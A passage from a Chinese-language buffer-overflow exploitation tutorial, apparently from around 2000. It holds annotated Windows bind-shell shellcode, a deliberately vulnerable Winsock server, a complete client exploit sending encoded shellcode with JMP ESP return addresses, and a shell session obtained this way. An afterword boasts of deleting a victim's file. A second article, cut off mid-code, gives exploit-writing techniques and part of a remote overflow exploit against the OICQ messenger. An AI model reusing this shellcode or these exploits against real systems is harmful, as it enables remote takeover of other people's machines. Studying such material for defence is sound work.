0xc1, 0xeb, 0x08, /* shr ebx, 08 */
0x56, /* push esi */
0xff, 0x13, /* call dword ptr [ebx] */
0x8b, 0xd0, /* mov edx, eax */
0xfc, /* cld */
0x33, 0xc9, /* xor ecx, ecx */
0xb1, 0x0b, /* mov cl, 0B */
0x49, /* dec ecx */
/* loadKernelProcess */ /* */
0x32, 0xc0, /* xor al, al */
0xac, /* lodsb */
0x84, 0xc0, /* test al, al */
0x75, 0xf9, /* jne loadKernelProcess */
0x52, /* push edx */
0x51, /* push ecx */
0x56, /* push esi */
0x52, /* push edx */
0xb3, 0xe4, /* mov bl, e4 &GetProcAddr */
0xff, 0x13, /* call dword ptr [ebx] */
0xab, /* stosd */
0x59, /* pop ecx */
0x5a, /* pop edx */
0xe2, 0xec, /* loop loadKernelProcess */
/* */
0x32, 0xc0, /* xor al, al */
0xac, /* lodsb */
0x84, 0xc0, /* test al, al */
0x75, 0xf9, /* jne 00000176 */
0xb3, 0xe8, /* mov bl, e8 */
0x56, /* push esi */
0xff, 0x13, /* call dword ptr [ebx] */
0x8b, 0xd0, /* mov edx, eax */
0xfc, /* cld */
0x33, 0xc9, /* xor ecx, ecx */
0xb1, 0x06, /* mov cl, 06 */
/* loadSocketProcess */
0x32, 0xc0, /* xor al, al */
0xac, /* lodsb */
0x84, 0xc0, /* test al, al */
0x75, 0xf9, /* jne loadSocketProcess */
0x52, /* push edx */
0x51, /* push ecx */
0x56, /* push esi */
0x52, /* push edx */
0xb3, 0xe4, /* mov bl, e4 */
0xff, 0x13, /* call dword ptr [ebx] */
0xab, /* stosd */
0x59, /* pop ecx */
0x5a, /* pop edx */
0xe2, 0xec, /* loop loadSocketProcess */
/*
这一段代码就是前期的准备工作,它负责获得所有的函数的入口地址,这些函数是:
"KERNEL32.dll"
"CreatePipe"
"GetStartupInfoA"
"CreateProcessA"
"PeekNamedPipe"
"GlobalAlloc"
"WriteFile"
"ReadFile"
"Sleep"
"ExitProcess"

"WSOCK32.dll"
"socket"
"bind"
"listen"
"accept"
"send"
"recv"
*/
0x83, 0xc6, 0x05, /* add esi, 00000005 */
0x33, 0xc0, /* xor eax, eax */
0x50, /* push eax */
0x40, /* inc eax */
0x50, /* push eax */
0x40, /* inc eax */
0x50, /* push eax */
0xff, 0x57, 0xe8, /* call [edi-18] */
0x93, /* xchg eax,ebx */
0x6a, 0x10, /* push 00000010 */
0x56, /* push esi */
0x53, /* push ebx */
0xff, 0x57, 0xec, /* call [edi-14] */
0x6a, 0x02, /* push 00000002 */
0x53, /* push ebx */
0xff, 0x57, 0xf0, /* call [edi-10] */
0x33, 0xc0, /* xor eax, eax */
0x57, /* push edi */
0x50, /* push eax */
0xb0, 0x0c, /* mov al, 0C */
0xab, /* stosd */
0x58, /* pop eax */
0xab, /* stosd */
0x40, /* inc eax */
0xab, /* stosd */
0x5f, /* pop edi */
0x48, /* dec eax */
0x50, /* push eax */
0x57, /* push edi */
0x56, /* push esi */
0xad, /* lodsd */
0x56, /* push esi */
0xff, 0x57, 0xc0, /* call [edi-40] */
0x48, /* dec eax */
0x50, /* push eax */
0x57, /* push edi */
0xad, /* lodsd */
0x56, /* push esi */
0xad, /* lodsd */
0x56, /* push esi */
0xff, 0x57, 0xc0, /* call [edi-40] */
0x48, /* dec eax */
0xb0, 0x44, /* mov al, 44 */
0x89, 0x07, /* mov dword ptr [edi], eax */
0x57, /* push edi */
0xff, 0x57, 0xc4, /* call [edi-3C] */
0x33, 0xc0, /* xor eax, eax */
0x8b, 0x46, 0xf4, /* mov eax, dword ptr [esi-0C] */
0x89, 0x47, 0x3c, /* mov dword ptr [edi+3C], eax */
0x89, 0x47, 0x40, /* mov dword ptr [edi+40], eax */
0x8b, 0x06, /* mov eax, dword ptr [esi] */
0x89, 0x47, 0x38, /* mov dword ptr [edi+38], eax */
0x33, 0xc0, /* xor eax, eax */
0x66, 0xb8, 0x01, 0x01, /* mov ax, 0101 */
0x89, 0x47, 0x2c, /* mov dword ptr [edi+2C], eax */
0x57, /* push edi */
0x57, /* push edi */
0x33, 0xc0, /* xor eax, eax */
0x50, /* push eax */
0x50, /* push eax */
0x50, /* push eax */
0x40, /* inc eax */
0x50, /* push eax */
0x48, /* dec eax */
0x50, /* push eax */
0x50, /* push eax */
0xad, /* lodsd */
0x56, /* push esi */
0x33, 0xc0, /* xor eax, eax */
0x50, /* push eax */
0xff, 0x57, 0xc8, /* call [edi-38] */
0xff, 0x76, 0xf0, /* push [esi-10] */
0xff, 0x57, 0xcc, /* call [edi-34] */
0xff, 0x76, 0xfc, /* push [esi-04] */
0xff, 0x57, 0xcc, /* call [edi-34] */
0x48, /* dec eax */
0x50, /* push eax */
0x50, /* push eax */
0x53, /* push ebx */
0xff, 0x57, 0xf4, /* call [edi-0C] */
0x8b, 0xd8, /* mov ebx, eax */
0x33, 0xc0, /* xor eax, eax */
0xb4, 0x04, /* mov ah, 04 */
0x50, /* push eax */
0xc1, 0xe8, 0x04, /* shr eax, 04 */
0x50, /* push eax */
0xff, 0x57, 0xd4, /* call [edi-2C] */
0x8b, 0xf0, /* mov esi, eax */
/* PeekPipe: */
0x33, 0xc0, /* xor eax, eax */
0x8b, 0xc8, /* mov ecx, eax */
0xb5, 0x04, /* mov ch, 04 */
0x50, /* push eax */
0x50, /* push eax */
0x57, /* push edi */
0x51, /* push ecx */
0x56, /* push esi */
0xff, 0x77, 0xa8, /* push [edi-58] */
0xff, 0x57, 0xd0, /* call [edi-30] */
0x83, 0x3f, 0x01, /* cmp dword ptr [edi], 0000000*/
0x7c, 0x22, /* jl GetUserInput */
0x33, 0xc0, /* xor eax, eax */
0x50, /* push eax */
0x57, /* push edi */
0xff, 0x37, /* push dword ptr [edi] */
0x56, /* push esi */
0xff, 0x77, 0xa8, /* push [edi-58] */
0xff, 0x57, 0xdc, /* call [edi-24] */
0x0b, 0xc0, /* or eax, eax */
0x74, 0x2f, /* je GameOver */
0x33, 0xc0, /* xor eax, eax */
0x50, /* push eax */
0xff, 0x37, /* push dword ptr [edi] */
0x56, /* push esi */
0x53, /* push ebx */
0xff, 0x57, 0xf8, /* call [edi-08] */
0x6a, 0x50, /* push 00000050 */
0xff, 0x57, 0xe0, /* call [edi-20] */
0xeb, 0xc8, /* jmp PeekPipe */
/* GetUserInput: */
0x33, 0xc0, /* xor eax, eax */
0x50, /* push eax */
0xb4, 0x04, /* mov ah, 04 */
0x56, /* push esi */
0x53, /* push ebx */
0xff, 0x57, 0xfc, /* call [edi-04] */
0x57, /* push edi */
0x33, 0xc9, /* xor ecx, ecx */
0x51, /* push ecx */
0x50, /* push eax */
0x56, /* push esi */
0xff, 0x77, 0xac, /* push [edi-54] */
0xff, 0x57, 0xd8, /* call [edi-28] */
0x6a, 0x50, /* push 00000050 */
0xff, 0x57, 0xe0, /* call [edi-20] */
/* GameOver: */
0xeb, 0xaa, /* jmp PeekPipe */
0x50, /* push eax */
0xff, 0x57, 0xe4, /* call [edi-1C] */
0x90, /* nop */
/*
这里的长长代码就是那段C语言的算法,我的注释很详细,就不多说了
*/
0xd2, 0xdc, 0xcb, 0xd7, 0xdc, 0xd5, 0xaa, 0xab, 0x99,
0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde,
0xfc, 0xed, 0xca, 0xed, 0xf8, 0xeb, 0xed, 0xec, 0xe9, 0xd0, 0xf7, 0xff,
0xf6, 0xd8, 0x99, 0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xeb, 0xf6,
0xfa, 0xfc, 0xea, 0xea, 0xd8, 0x99, 0xda, 0xf5, 0xf6, 0xea, 0xfc, 0xd1,
0xf8, 0xf7, 0xfd, 0xf5, 0xfc, 0x99, 0xc9, 0xfc, 0xfc, 0xf2, 0xd7, 0xf8,
0xf4, 0xfc, 0xfd, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde, 0xf5, 0xf6, 0xfb,
0xf8, 0xf5, 0xd8, 0xf5, 0xf5, 0xf6, 0xfa, 0x99, 0xce, 0xeb, 0xf0, 0xed,
0xfc, 0xdf, 0xf0, 0xf5, 0xfc, 0x99, 0xcb, 0xfc, 0xf8, 0xfd, 0xdf, 0xf0,
0xf5, 0xfc, 0x99, 0xca, 0xf5, 0xfc, 0xfc, 0xe9, 0x99, 0xdc, 0xe1, 0xf0,
0xed, 0xc9, 0xeb, 0xf6, 0xfa, 0xfc, 0xea, 0xea, 0x99, 0xce, 0xca, 0xd6,
0xda, 0xd2, 0xaa, 0xab, 0x99, 0xae, 0xf6, 0xfa, 0xf2, 0xfc, 0xed, 0x99,
0xfb, 0xf0, 0xf7, 0xfd, 0x99, 0xf5, 0xf0, 0xea, 0xed, 0xfc, 0xf7, 0x99,
0xf8, 0xfa, 0xfa, 0xfc, 0xe9, 0xed, 0x99, 0xea, 0xfc, 0xf7, 0xfd, 0x99,
0xeb, 0xfc, 0xfa, 0xef, 0x99, 0x9b, 0x99,
0x4b, 0x9d, // word value for bind port, 4b9d xor 9999h=53764
0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,
0xfa, 0xf4, 0xfd, 0xb7, 0xfc, 0xe1, 0xfc, 0x99, 0xff, 0xff, 0xff, 0xff,
0x0d, 0x0a};
/*
这些就是那个字符串表,已经经过了编码。
*/

二实战篇

作者: ipxodi <ipxodi@263.net>

下面是一个有问题的internet服务程序:
/****************************************************************************/
/* server.cpp By Ipxodi
*/

#include <winsock2.h>
#include <stdio.h>
char Buff[1024];
void overflow(char * s,int size)
{
char s1[50];
printf("receive %d bytes",size);
s[size]=0;
strcpy(s1,s);
}

int main()
{
WSADATA wsa;
SOCKET listenFD;
int ret;
char asd[2048];

WSAStartup(MAKEWORD(2,2),&wsa);

listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

struct sockaddr_in server;

server.sin_family = AF_INET;
server.sin_port = htons(3764);
server.sin_addr.s_addr=ADDR_ANY;
ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
ret=listen(listenFD,2);

int iAddrSize = sizeof(server);
SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
unsigned long lBytesRead;
while(1) {
lBytesRead=recv(clientFD,Buff,1024,0);
if(lBytesRead<=0) break;

overflow(Buff,lBytesRead);

ret=send(clientFD,Buff,lBytesRead,0);
if(ret<=0) break;

}
WSACleanup();
return 0;
}
/****************************************************************************/

函数Overflow有问题,看到了吗?

好,现在我们来写溢出攻击程序:

1)先算一下溢出(返回)地址应该在哪里?
(:啊?算出?你上次不是用程序试吗?我好不容易才看懂你的算法,这次怎么不用了?
:唉,老兄,上次是没有敌人的原代码,懒得看汇编,才会试,
现在原代码就放在你眼前,你自己算一下不就出来了?)

下面是溢出时刻堆栈布局:
内存底部 内存顶部
buffer EBP ret
<------ [NNNNNNNNNNN][N ] [A ]SSSS
^&buffer
堆栈顶部 堆栈底部

可以看到,buffer我们开的是50,32位系统针对数组进行四位对齐,所以实际缓冲区是
52,加上EBP占去4个字节,就是52+4=56,那么,ret就是第56字节了。

2)再看看server里面LoadLibrary和GetProcAddress的地址是什么?
启动wdasm32,加载server.exe

:004028EC 68F0014200 push 004201F0

* Reference To: KERNEL32.LoadLibraryA, Ord:01C2h
|
:004028F1 FF15E8614200 Call dword ptr [004261E8]

好,KERNEL32.LoadLibraryA(就是LoadLibrary的别名)的入口地址:0x004261E8。

:00402911 51 push ecx

* Reference To: KERNEL32.GetProcAddress, Ord:013Eh
|
:00402912 FF15E4614200 Call dword ptr [004261E4]

好,KERNEL32.GetProcAddress的入口地址:0x004261E4。

这两个地址都有00,我们不能直接在shellcode里面引用,因此采用如下变通方案:
0xbb,0x99, 0xe8, 0x61, 0x42, /* mov ebx, 004261E8h;(&LoadLibrary) */
0xc1, 0xeb, 0x08, /* shr ebx, 08 */
以及
0xb3, 0xe4, /* mov bl, e4 &GetProcAddr */

3)写出client:
/****************************************************************************/
/* client.cpp By Ipxodi
*/

#include <winsock2.h>
#include <stdio.h>
#define WIN2000

#ifdef WIN2000
#define JUMPESP "x2axe3xe2x77"
#endif
#ifdef WIN98
#define JUMPESP "xa3x95xf7xbf"
#endif

unsigned char eip[8] = JUMPESP;
unsigned char sploit[580] = {
0x90, 0x8b, 0xfc,
0x33, 0xc0, 0x50, 0xf7, 0xd0, 0x50, 0x59, 0xf2, 0xaf, 0x59, 0xb1, 0xc6,
0x8b, 0xc7, 0x48, 0x80, 0x30, 0x99, 0xe2, 0xfa, 0x33, 0xf6, 0x96, 0xbb,
0x99, 0xe8, 0x61, 0x42, 0xc1, 0xeb, 0x08, 0x56, 0xff, 0x13, 0x8b, 0xd0,
0xfc, 0x33, 0xc9, 0xb1, 0x0b, 0x49, 0x32, 0xc0, 0xac, 0x84, 0xc0, 0x75,
0xf9, 0x52, 0x51, 0x56, 0x52, 0xb3, 0xe4, 0xff, 0x13, 0xab, 0x59, 0x5a,
0xe2, 0xec, 0x32, 0xc0, 0xac, 0x84, 0xc0, 0x75, 0xf9, 0xb3, 0xe8, 0x56,
0xff, 0x13, 0x8b, 0xd0, 0xfc, 0x33, 0xc9, 0xb1, 0x06, 0x32, 0xc0, 0xac,
0x84, 0xc0, 0x75, 0xf9, 0x52, 0x51, 0x56, 0x52, 0xb3, 0xe4, 0xff, 0x13,
0xab, 0x59, 0x5a, 0xe2, 0xec, 0x83, 0xc6, 0x05, 0x33, 0xc0, 0x50, 0x40,
0x50, 0x40, 0x50, 0xff, 0x57, 0xe8, 0x93, 0x6a, 0x10, 0x56, 0x53, 0xff,
0x57, 0xec, 0x6a, 0x02, 0x53, 0xff, 0x57, 0xf0, 0x33, 0xc0, 0x57, 0x50,
0xb0, 0x0c, 0xab, 0x58, 0xab, 0x40, 0xab, 0x5f, 0x48, 0x50, 0x57, 0x56,
0xad, 0x56, 0xff, 0x57, 0xc0, 0x48, 0x50, 0x57, 0xad, 0x56, 0xad, 0x56,
0xff, 0x57, 0xc0, 0x48, 0xb0, 0x44, 0x89, 0x07, 0x57, 0xff, 0x57, 0xc4,
0x33, 0xc0, 0x8b, 0x46, 0xf4, 0x89, 0x47, 0x3c, 0x89, 0x47, 0x40, 0x8b,
0x06, 0x89, 0x47, 0x38, 0x33, 0xc0, 0x66, 0xb8, 0x01, 0x01, 0x89, 0x47,
0x2c, 0x57, 0x57, 0x33, 0xc0, 0x50, 0x50, 0x50, 0x40, 0x50, 0x48, 0x50,
0x50, 0xad, 0x56, 0x33, 0xc0, 0x50, 0xff, 0x57, 0xc8, 0xff, 0x76, 0xf0,
0xff, 0x57, 0xcc, 0xff, 0x76, 0xfc, 0xff, 0x57, 0xcc, 0x48, 0x50, 0x50,
0x53, 0xff, 0x57, 0xf4, 0x8b, 0xd8, 0x33, 0xc0, 0xb4, 0x04, 0x50, 0xc1,
0xe8, 0x04, 0x50, 0xff, 0x57, 0xd4, 0x8b, 0xf0, 0x33, 0xc0, 0x8b, 0xc8,
0xb5, 0x04, 0x50, 0x50, 0x57, 0x51, 0x56, 0xff, 0x77, 0xa8, 0xff, 0x57,
0xd0, 0x83, 0x3f, 0x01, 0x7c, 0x22, 0x33, 0xc0, 0x50, 0x57, 0xff, 0x37,
0x56, 0xff, 0x77, 0xa8, 0xff, 0x57, 0xdc, 0x0b, 0xc0, 0x74, 0x2f, 0x33,
0xc0, 0x50, 0xff, 0x37, 0x56, 0x53, 0xff, 0x57, 0xf8, 0x6a, 0x50, 0xff,
0x57, 0xe0, 0xeb, 0xc8, 0x33, 0xc0, 0x50, 0xb4, 0x04, 0x50, 0x56, 0x53,
0xff, 0x57, 0xfc, 0x57, 0x33, 0xc9, 0x51, 0x50, 0x56, 0xff, 0x77, 0xac,
0xff, 0x57, 0xd8, 0x6a, 0x50, 0xff, 0x57, 0xe0, 0xeb, 0xaa, 0x50, 0xff,
0x57, 0xe4, 0x90, 0xd2, 0xdc, 0xcb, 0xd7, 0xdc, 0xd5, 0xaa, 0xab, 0x99,
0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde,
0xfc, 0xed, 0xca, 0xed, 0xf8, 0xeb, 0xed, 0xec, 0xe9, 0xd0, 0xf7, 0xff,
0xf6, 0xd8, 0x99, 0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xeb, 0xf6,
0xfa, 0xfc, 0xea, 0xea, 0xd8, 0x99, 0xda, 0xf5, 0xf6, 0xea, 0xfc, 0xd1,
0xf8, 0xf7, 0xfd, 0xf5, 0xfc, 0x99, 0xc9, 0xfc, 0xfc, 0xf2, 0xd7, 0xf8,
0xf4, 0xfc, 0xfd, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde, 0xf5, 0xf6, 0xfb,
0xf8, 0xf5, 0xd8, 0xf5, 0xf5, 0xf6, 0xfa, 0x99, 0xce, 0xeb, 0xf0, 0xed,
0xfc, 0xdf, 0xf0, 0xf5, 0xfc, 0x99, 0xcb, 0xfc, 0xf8, 0xfd, 0xdf, 0xf0,
0xf5, 0xfc, 0x99, 0xca, 0xf5, 0xfc, 0xfc, 0xe9, 0x99, 0xdc, 0xe1, 0xf0,
0xed, 0xc9, 0xeb, 0xf6, 0xfa, 0xfc, 0xea, 0xea, 0x99, 0xce, 0xca, 0xd6,
0xda, 0xd2, 0xaa, 0xab, 0x99, 0xea, 0xf6, 0xfa, 0xf2, 0xfc, 0xed, 0x99,
0xfb, 0xf0, 0xf7, 0xfd, 0x99, 0xf5, 0xf0, 0xea, 0xed, 0xfc, 0xf7, 0x99,
0xf8, 0xfa, 0xfa, 0xfc, 0xe9, 0xed, 0x99, 0xea, 0xfc, 0xf7, 0xfd, 0x99,
0xeb, 0xfc, 0xfa, 0xef, 0x99, 0x9b, 0x99,
0x4b, 0x9d, //port=53764
0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,
0xfa, 0xf4, 0xfd, 0xb7, 0xfc, 0xe1, 0xfc, 0x99, 0xff, 0xff, 0xff, 0xff,
0x0d, 0x0a};
int main()
{
WSADATA wsa;
SOCKET sockFD;
char Buff[1024],*sBO;

WSAStartup(MAKEWORD(2,2),&wsa);

sockFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

struct sockaddr_in server;

server.sin_family = AF_INET;
server.sin_port = htons(3764);
server.sin_addr.s_addr=inet_addr("127.0.0.1");

connect(sockFD,(struct sockaddr *)&server,sizeof(server));
for(int i=0;i<56;Buff[i++]=0x90);
strcpy(Buff+56,(char *)eip);
strcpy(Buff+60,(char *)sploit);
sBO = Buff;
send(sockFD,sBO,56+4+560,0);

closesocket(sockFD);
WSACleanup();
return 1;

}
/****************************************************************************/
运行server,然后运行client.之后,telnet localhost 53764,看到了什么?

Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-1998 Microsoft Corp.

D:MyProjectsserver>dir
dir
驱动器 D 中的卷没有标签。
卷的序列号是 3C2F-72BB

D:MyProjectsserver 的目录

2000-04-26 17:52 <DIR> .
2000-04-26 17:52 <DIR> ..
2000-04-25 11:17 <DIR> Debug
2000-04-23 20:23 3,288 server.001
2000-04-25 11:16 926 server.cpp
2000-04-25 10:33 3,325 server.dsp
2000-04-25 10:33 535 server.dsw
2000-04-26 17:52 41,984 server.ncb
2000-04-26 17:52 49,664 server.opt
2000-04-25 11:24 509 server.plg
7 个文件 100,231 字节
3 个目录 8,688,173,056 可用字节

D:MyProjectsserver>

呵呵,大功告成。


----后记
大家通过钻研,可以知道,这是一个windows下通用的远程溢出shellcode。
使用这个shellcode,稍加改动,我们可以编写出其他的远程溢出程序。
实现对任何已知存在缓冲区溢出问题的程序的远程控制。

事实上,为了发现溢出漏洞,你必须深入钻研敌人的程序代码,找到他的
有问题代码。这本身就可以单开一讲来详细阐述。
windows下的Cracker们,你们的破解跟踪技术将在这个领域
得到最大的利用。我估计,在不久的将来,会有很多Cracker,公布一系列
windows缓冲区溢出漏洞。

上面所示的,只不过是一个实验用的server程序,事实上,
我们已经完成了Oicq远程溢出程序的实现和IisHack中文NT版的移植。

当我telnet victim 53764上敌人的机器,删除了他的autoexec.001时,
真是一切尽在掌握。我心中想的,就是:
windows Nt/2000的远程溢出时代,开始了!我们再也不需要木马了!

因为上述程序的攻击性太强,我就不公布原代码了,我希望
如果有人基于我的shellcode写出了远程溢出程序,请先通知软件供应商,
等待patch出来后,再公布你们的溢出程序。

因为,发现漏洞的目的,并不是为了破坏,而是为了消除漏洞,提高安全。

----参考书目:
0)ipxodi 《window系统下的堆栈溢出》IsBaseMagzine 2000.3。
1)dark spyrit AKA Barnaby Jack的Phrack Magzine55上的经典文章。
2)Backend的《Windows 2000缓冲区溢出入门》 IsBaseMagzine 2000.4。
3)《windows网络编程技术》 Anthory Jones,Jim Ohlund.(机械版京京译)

----致谢
要致谢的人很多:
dark spyrit,为你的天才和无私,向你致敬。
感谢绿盟的Backend,Yuange,Zer9,为你们的研究成果和给我的无私帮助,
当然还有绿盟的tt,deepin,为你们在攻击实践上给我的帮助。
感谢所有帮助和激励过我的人。

C:windows下的溢出程序编写技巧

作者:袁哥
mail: yuange@163.net

看了些WINDOWS下的溢出程序,觉得不够统一、完美,决定做一个相对较统一的编写方法,试着解决了些问题。

1、JMP ESP 的问题。
为了尽量统一,都使用KERNERL32。DLL的代码,因为至少同一系统KERNEL32。DLL模块装载地址变化可能小,别的模块可能随着安装应用软件的环境不同装载地址不同,还有其模块安装是KERNEL32。DLL在比较前面,后面的模块安装地址要随前面模块的变动而变动,所以还是决定用KERNEL32。DLL相对比较统一(就是同一系统不同版本)。解决了JMP ESP (FF E4)代码找不到问题,增加使用
PUSH ESP (54)
。。。。
RET (C3)
或者
PUSH ESP (54)
。。。。
RET 00XX (C2 XX 00) (RET NUM ,NUM最好不要太大,所以做限制 NUM=00XX)
代码,这可以找到很多了。“。。。”为几条不定语句,但要不影响功能的。
比如找到一处代码就可以使用:
PUSH ESP
AND AL,08
RET 10
选择原则尽量使用模块前面的可用的,因为不同版本前面的相同可能要大。
因为9X与NT系统模块装载地址有很大区别,所以用这方法不可能统一,我看了WINNT、WIN2000竟然KERNEL32。DLL的装载地址也不一样,真有点。。。。具体哪个程序的溢出可以试着找那程序中的 JMP ESP,但这地址一般都是0X00XXXXXX,所以也有问题。 这是否可以在程序中先识别要攻击系统的系统?下面程序是用宏定义。

2、解决SHELLCODE的编写问题。
原来很多程序的SHELLCODE都是用先编写好后用"XAAXBB"的形式写出来,一个是不好修改,还有不好看到底是什么SHELLCODE。所以想法是SHELLCODE和溢出程序一起编写。这对SHELLCODE编写稍微有点要求,这就是要求SHELLCODE代码是可移动代码,就是整个代码地址移动照常运行。为了减少不兼容,函数调用地址也用LOADLIBRARY和GETPROCADDRESS得到,这样SHELLCODE就只依靠这两个参数。其实这两个参数也可以在内存里面找到KERNEL32。DLL模块,再根据函数引出表自己得到地址。那样就只有JMP ESP地址在WINNT、WIN200、WIN9X下没有统一了。
程序中已经大致有了SHELLCODE编写的雏形。现在有几个问题:
一,确定SHELLCODE函数代码地址,直接指定得到的是一个JMP SHELLCODE的地址,应该有方法直接得到的。
二,SHELLCODE用C编写编译后往往有_CHKESP的一个调用,这可以改汇编编写或者找到里面的call _CHKESP的代码用NOP填充。

3、SHELLCODE字符往往有要求,决定对SHELLCODE编码,前面加一小段代码对SHELLCODE解码,编码为符合要求的SHELLCODE,这减轻对SHELLCODE编写的要求。不同要求主要改写这一小段编码代码。


/* oicq 199b build 0220 overflow program
copy by yuange <yuange@163.net> 2000。04。18
新版本0410有堆溢出,用这程序可以攻击,但不能执行SELLCODE
*/

#include <windows.h>
#include <winsock.h>
#include <stdio.h>
#define NUKEWIN2000
//#define NUKEWIN9X
#ifdef NUKEWIN2000
#define RETEIPADDR eipwin2000
#define LoadLibraryfnaddress 0x77e78023 //0x77E60000+0x00018023 LoadLibrary
#define GetProcAddressfnaddress 0x77e7564b //0X77E60000+0x0001564B GetProcAddress
#else
#ifdef NUKEWIN9X
#define RETEIPADDR eipwin9x
#define LoadLibraryfnaddress 0xbff77750 //0xbff70000+0x00007750 LoadLibrary
#define GetProcAddressfnaddress 0xbff76e28 //0xbff70000+0x00006e28 GetProcAddress
#else
#define RETEIPADDR eipwinnt
#define LoadLibraryfnaddress 0x77EE391A //0x77ED0000+0x0001391A LoadLibrary
#define GetProcAddressfnaddress 0x77eE4111 //0x77ED0000+0x00014111 GetProcAddress
#endif
#endif
#define NOPCODE 0x90
#define BUFFSIZE 0x2000
#define OICQPORT 4000
#define OICQOVERADD 7+0x41C
#define OVERADD OICQOVERADD
#define STR0 0
#define STR1 11
#define STR2 23
#define STR3 33
#define STR4 39
#define STR5 51

void shellcodefnlock();
void shellcodefn();
void cleanchkesp(char *fnadd,char *shellbuff,char *chkespadd ,int len);

int main(int argc, char **argv)
{
char *server;
char *str="user32.dll""x0""MessageBoxA""x0"" secuess""x0"" OK!""x0""msvcrtd.dll""x0""exit""x0";
char buff1[]="x02x01x07x00x78x11x22x33x33x33x33x33x1fx30x1fx37x35x1f""2000-4-10""x1f""12:00:00""x1f";
/* oicq udp head */

//0x77ed0000+0x1ddd4 kernel32.dll // push esp // and al,08 // ret 0c
char eipwinnt[] ="xd4xddxeex77"; //0x77ed0000+0x0001ddd4

char eipwin2000[] ="xeax17xe8x77"; //0x77e60000+0x000217ea
// kernel32.dll // push esp // and al,08 // ret 0c

//0x77e2e32a user32.dll JMP ESP
char eip2win2000[] = "x2axe3xe2x77"; //0x77df0000+0x0003e32a
char eipwin9x[] = "xd9x6axf7xbf"; //0xbff70000+0x00006ad9
// Kernel32.dll 4.10.2184 0xbff70000+0x0006ad9
// push esp // and al,0x10; // ret 0x10;

char buff[BUFFSIZE];
char shellcodebuff[0x1000];
struct sockaddr_in s_in2,s_in3;
struct hostent *he;
char *shellcodefnadd,*chkespadd;
unsigned int sendpacketlong;
unsigned int i,j,k;
unsigned char temp;
int fd;
u_short port,port1;
SOCKET d_ip;
WSADATA wsaData;

int result= WSAStartup(MAKEWORD(1, 1), &wsaData);
if (result != 0) {
fprintf(stderr, "Your computer was not connected "
"to the Internet at the time that "
"this program was launched, or you "
"do not have a 32-bit "
"connection to the Internet.");
exit(1);
}

if(argc <2)
{
WSACleanup( );
fprintf(stderr,"n nuke oicq .n copy by yuange 2000.4.1. n wellcome to my homepage http://yuange.yeah.net .");
fprintf(stderr, "n usage: %s <server> [port] n", argv[0]);
exit(1);
}
else server = argv[1];

d_ip = inet_addr(server);
if(d_ip==-1){
he = gethostbyname(server);
if(!he)
{
WSACleanup( );
printf("n Can't get the ip of %s !n",server);
exit(1);
}
else memcpy(&d_ip, he->h_addr, 4);
}
if(argc>2) port = atoi(argv[2]);
else port=OICQPORT;
if(port==0) port=OICQPORT;

fd = socket(AF_INET, SOCK_DGRAM,0);
i=8000;
setsockopt(fd,SOL_SOCKET,SO_RCVTIMEO,(const char *) &i,sizeof(i));
s_in2.sin_family = AF_INET;
if(argc>3) port1=atoi(argv[3]);
else port1=OICQPORT;
if(port1==0) port1=OICQPORT;
s_in2.sin_port = htons(port1);
s_in2.sin_addr.s_addr =0;

s_in3.sin_family = AF_INET;
s_in3.sin_port = htons(port);
s_in3.sin_addr.s_addr = d_ip;
bind(fd,(const struct sockaddr FAR* )&s_in2, sizeof(struct sockaddr_in));
printf("n nuke ip: %s port %d",inet_ntoa(s_in3.sin_addr),htons(s_in3.sin_port));

memset(buff,NOPCODE,BUFFSIZE);
memcpy(buff,buff1,37);

_asm{
mov ESI,ESP
cmp ESI,ESP
}
_chkesp();
chkespadd=_chkesp;
temp=*chkespadd;
if(temp==0xe9) {
++chkespadd;
// (int *) i=(int*) *chkespadd;
_asm{
mov EDI,dword ptr [chkespadd]
mov EDI,[EDI]
mov i,EDI
}
chkespadd+=i;
chkespadd+=4;
}

shellcodefnadd=shellcodefnlock;
temp=*shellcodefnadd;
if(temp==0xe9) {
++shellcodefnadd;
// (int *) k=(int *) *shellcodefnadd;
_asm{
mov EDI,dword ptr [shellcodefnadd]
mov EDI,[EDI]
mov k,EDI
}
shellcodefnadd+=k;
shellcodefnadd+=4;
}

for(k=0;k<=0x500;++k){
if(memcmp(shellcodefnadd+k,"x90x90x90x90",4)==0) break;
}
memcpy(buff+OVERADD+0x20,shellcodefnadd+k+4,80);

shellcodefnadd=shellcodefn;
temp=*shellcodefnadd;
if(temp==0xe9) {
++shellcodefnadd;
// (int *)k=*shellcodefnadd;
_asm{
mov EDI,dword ptr [shellcodefnadd]
mov EDI,[EDI]
mov k,EDI
}
shellcodefnadd+=k;
shellcodefnadd+=4;
}

for(k=0;k<=0x1000;++k){
if(memcmp(shellcodefnadd+k,"x90x90x90x90",4)==0) break;
}

memcpy(shellcodebuff,shellcodefnadd,k); //j);
cleanchkesp(shellcodefnadd,shellcodebuff,chkespadd,k);


memcpy(shellcodebuff+k,str,0x80);
sendpacketlong=k+0x80;
for(k=0;k<=0x200;++k){
if(memcmp(buff+OVERADD+0x20+k,"x90x90x90x90",4)==0) break;
}

for(i=0;i<sendpacketlong;++i){
temp=shellcodebuff;
temp&=0xf0;
temp=temp/0x10;
temp+=0x41;
buff[OVERADD+0x20+k]=temp;
++k;
temp=shellcodebuff;
temp&=0x0f;
temp+=0x41;
buff[OVERADD+0x20+k]=temp;
++k;
}
memcpy(buff+OVERADD,RETEIPADDR,4);
sendpacketlong=OVERADD+0x20+k+0x10;
for(i=0;i<1;++i){
j=rand();
buff1[0x5]=j;
buff1[0x6]=j+1;
j=sendpacketlong;
buff[j-1]=0x03;
